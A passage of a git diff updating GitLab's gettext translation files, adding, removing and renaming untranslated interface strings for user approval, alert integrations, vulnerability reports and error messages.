@@ -30699,6 +31381,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30744,6 +31429,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30903,6 +31591,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30945,6 +31636,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -31023,6 +31717,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -31107,9 +31807,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31152,13 +31849,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31188,9 +31882,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31209,6 +31900,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31233,6 +31927,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31245,6 +31942,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31386,6 +32086,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31434,6 +32137,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31443,6 +32152,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31452,6 +32164,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31624,13 +32339,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading)"
-msgstr ""
-
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31799,6 +32511,12 @@ msgstr[3] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31817,9 +32535,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31835,9 +32550,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31878,9 +32590,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31973,6 +32682,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -32001,6 +32713,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -32022,7 +32737,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32555,6 +33270,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32582,6 +33300,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32594,6 +33315,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32679,6 +33403,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32734,6 +33461,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32746,9 +33476,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32797,9 +33533,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32830,10 +33563,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32842,6 +33575,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32851,6 +33587,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32923,6 +33662,13 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/cy_GB/gitlab.po b/locale/cy_GB/gitlab.po
index be8ead5547c..45600e213ff 100644
--- a/locale/cy_GB/gitlab.po
+++ b/locale/cy_GB/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: cy\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:39\n"
+"PO-Revision-Date: 2020-12-03 08:08\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -94,6 +94,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -241,8 +250,8 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -250,8 +259,8 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -571,22 +580,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
-msgstr ""
-
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -685,6 +685,9 @@ msgstr "%{count} %{pluralized_subject} cysylltiedig: %{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -757,21 +760,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -787,9 +796,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -805,13 +811,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -844,9 +850,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -955,46 +958,13 @@ msgstr[5] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -1060,6 +1030,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -1177,6 +1150,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -1195,12 +1171,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1870,9 +1840,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -2224,9 +2191,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2449,6 +2422,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2497,16 +2479,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2533,6 +2518,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2569,6 +2557,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2608,6 +2605,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2617,6 +2623,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2626,6 +2635,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2638,7 +2656,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2854,6 +2878,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2863,9 +2905,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2893,6 +2944,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2905,7 +2962,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2914,27 +2977,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2944,9 +3031,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2956,6 +3040,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2968,6 +3064,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2983,16 +3082,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -3097,6 +3217,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -3214,9 +3337,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3337,9 +3457,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3373,16 +3490,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3439,6 +3559,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3466,9 +3589,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3499,6 +3619,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3517,6 +3640,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3703,6 +3829,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3781,6 +3913,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3862,6 +3997,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3913,9 +4051,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3970,6 +4105,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
